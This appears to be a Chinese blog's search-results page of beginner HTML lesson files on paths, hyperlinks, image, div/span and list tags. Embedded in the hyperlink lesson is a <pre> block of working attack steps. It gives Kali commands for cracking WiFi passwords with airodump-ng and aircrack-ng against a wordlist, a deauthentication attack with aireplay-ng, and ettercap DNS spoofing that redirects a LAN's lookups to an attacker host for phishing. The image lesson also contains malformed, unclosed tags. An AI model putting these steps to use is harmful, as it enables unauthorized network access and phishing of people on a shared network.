搜索到
15
篇与
的结果
-
9、路径问题 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>路径问题</title> </head> <body> <!-- 一、路径问题（重要）：无论使用哪种语言编写程序，路径问题都至关重要，只需要引入资源，必定使用路径 物理路径：D:\vscodeprojects\photo 文件系统:我们通常写代码会使用Windows操作系统，但是项目完成后，就必须部署到服务器上，而服务器大部分 使用Linux操作系统，而Windows和Linux文件系统差别很大，因此实际开发时，不允许使用物理路径。 相对路径：相对于文件所在的路径 (建议前端) ./代表当前路径（可以省略不写，默认为 ./) ../代表上一级路径 绝对路径：就是目录下的绝对位置 http://127.0.0.1:5500/web/hello.html 服务器的根路径：http://127.0.0.1:5500 项目所在的路径： web/hello.html / [斜杠] 表示当前项目所在服务器的根路径，从这里开始找所需要的资源即可 --> <!--相对路径--> <img src="./photo/1.jpg"alt=""> <!--退回到了web!!--> <!--绝对路径--> <img src="/web/photo/1.jpg"> </body> </html> -
10、超链接标签 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>超链接标签</title> </head> <body> <!-- 一、超链接：可以从一个页面跳转到另一个页面 1.使用a标签创建超链接 2.超链接的属性 href:用于指定跳转到目标页面的地址 target：用于指定以什么方式打开页面 可选值： _self:当前窗口打开，默认值 _blank：新窗口打开 --> <!--1.外部页面链接--> <a href="http://www.baidu.com">百度一下</a> <a href="http://www.baidu.com"target="_blank">百度一下</a> <!--2.内部页面链接--> <a href="./8、图片标签.html">内部页面链接</a> <a href="/web/3、语义化标签.html">语义化链接</a> <!--3.空链接--> <a href="#">无指定页面，跳转到当前页面</a> <!--4.下载链接：若链接的路径是一个文件，则下载链接--> <a href="./photo/1.zip">下载链接</a> <!--5.给其他网页元素添加超链接。如：图片、表格等--> <a href="http://www.baidu.com"><img src="./photo/1.jpg"title="点我进来看看我"></a> <!-- 6.锚点链接：跳转到当前页面中的指定位置 目标标签添加一个属性 id="指定的名称"。注意：id不能重复 超链接 href 属性值为 "#指定的名称" --> <a href="#hh">去哈哈</a> <br> <a href="#ww">去哇哇</a> <pre> 1.KALI系统的WIFI破解 1.ifconfig 查看你的网卡是否连接成功 2.airmon-ng start wlan0 开启网卡监听 3.成功开启网卡监听 4.airodump-ng wlan0 扫描网卡后项目的介绍 BSSID 代表我们wifi的mac地址 PWR 代表WIFI信号强度，值越小，信号强度就越高 CH 表示工作的信道号 ESSID WIFI名词 5.airodump-ng -c 6 -w 1 --bssid 你找到的wifibssid wlan0 抓取wifi连接数据包 6.字典地址：cd /usr/share/wordlists 7.ls -l 查看rockyou.txt.gz 8.gzip -d rockyou.txt.gz 解压字典文件 9.开始尝试破解wifi密码 10.aircrack-ng -w /usr/share/wordlists/rockyou.txt 1-01.cap <h1 id="hh">定位一下</h1> 反认证攻击： 1. airodump-ng wlan0mon 扫描出WIFI列表 2. 记录要攻击的WIFI BSSID 3. 输入命令 airodump-ng -c [CH] --bssid [BSSID] -w [网卡名称] 输入完成后先不要敲击回车 4. 新建一个终端 敲击命令 aireplay-ng -0 0 -a [BSSID] [网卡名称] 5. 先启动第三步的命令，在启动第四步的命令 <h2 id="ww">再定位一下</h2> 2.内网DNS欺骗，钓鱼 （在开始使用前，先把前端页面的JS文件访问IP修改为你自己的IP） 1.ettercap -G 打开工具 2.route 查看当前主机网关 3.ipconfig windows查看ip 4.添加网关到Target1 添加目标IP地址到Target2 5.选择DNS欺骗插件 dns_spoof 6.修改ettercap工具的dns解析文件 vim /etc/ettercap/etter.dns 在末尾添加 * A 192.168.3.34 7.开始攻击 8.java -jar zhou-0.0.1-SNAPSHOT\(1\).jar 9.访问回显页面：192.168.3.4:8080/list </pre> <a href="#">回到顶部</a> </body> </html>
-
8、图片标签 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>图片标签</title> </head> <body> <!-- 一、图片标签：可以向网页引入一张图片 1.img标签引入图片 2.img是一个自结束标签（单标签） 二、标签的属性 1.src:制定需要插入图片的路径（本地路径、网络路径） 2.alt:替换文本，当图片无法正常显示时，替换的文本(有助于搜索引擎对图片的识别) 3.title：提示文本，当鼠标停在图片上时显示的文本 4.width、height：设置图片的宽度和高度的,单位是像素 二者设置其中任何一个，另外一个会等比例缩小 通常我们不去设置图片宽度和高度，因为大图缩小浪费空间，小图放大清晰度低 三、图片的格式 1.jpg（jpeg）：支持的颜色丰富，不支持透明效果，不支持动图 2.jif：支持颜色较少，支持简单透明、支持动图 3.png：支持的颜色比较丰富，支持复杂透明、不支持动图 4.webp：谷歌新推出的一种图片格式，专门用于网页，具有以上图片所有的优点，但是兼容性不好！ --> <img src="photo/1.jpg"alt="帅的"title="特别帅的"width="100px"> <img src="https://img1.baidu.com/it/u=1645081738,1997678197&fm=253&fmt=auto&app=138&f=PNG?w=500&h=281" <img src="photo/1244.jpg"alt="法外狂徒张三"> <img src="" </body> </html>
-
6、div标签和span标签 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>div标签和span标签</title> </head> <body> <!-- 一、div标签和span标签：是块标签、没有具体语义，就是用来布局（装内容的） 1.div标签独占一行 2.span标签默认不带换行，一行可以有多个span 二、HTML5新增了语义化结构标签 header表示网页的主体 main表示了网页的主体 footer表示网页的底部 nav表示网页的导航 aside表示和主体相关的其他内容 artice表示一个独立的文章 section表示一个独立的区块 --> <div>我是div</div> <div>我是div</div> <span>我是span</span> <span>我是span</span> <header></header> </body> </html>
-
7、列表标签 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>列表标签</title> </head> <body> <!-- 一、列表标签：可以整齐有序的展示一些内容 1.无序列表 ul+li 使用ul标签创建 使用li标签创建列表项 2.有序列表ol+li 使用ol标签创建 使用li标签创建列表项 3.定义列表 使用dl标签创建 使用dt标签创建需要的项目 使用dd标签创建对项目的描述 列表之间可以相互嵌套的 --> <!--无序列表--> <ul> <li>项目一</li> <li>项目二</li> <li>项目三</li> </ul> <!--有序列表--> <ol><!--type=""--> <li>项目一</li> <li>项目二</li> <li>项目三</li> </ol> <!--定义列表--> <dl> <dt>中国三大中心</dt> <dd>北京政治文化中心</dd> <dd>上海金融中心</dd> <dd>。。。中心</dd> </dl> <ul> <li> 乌鲁木齐市 <ol> <li>新市区</li> <li>米东区</li> </ol> </li> <li> 深圳市 <ol> <li>宝安区</li> <li>南山区</li> </ol> </li> </ul> </body> </html>
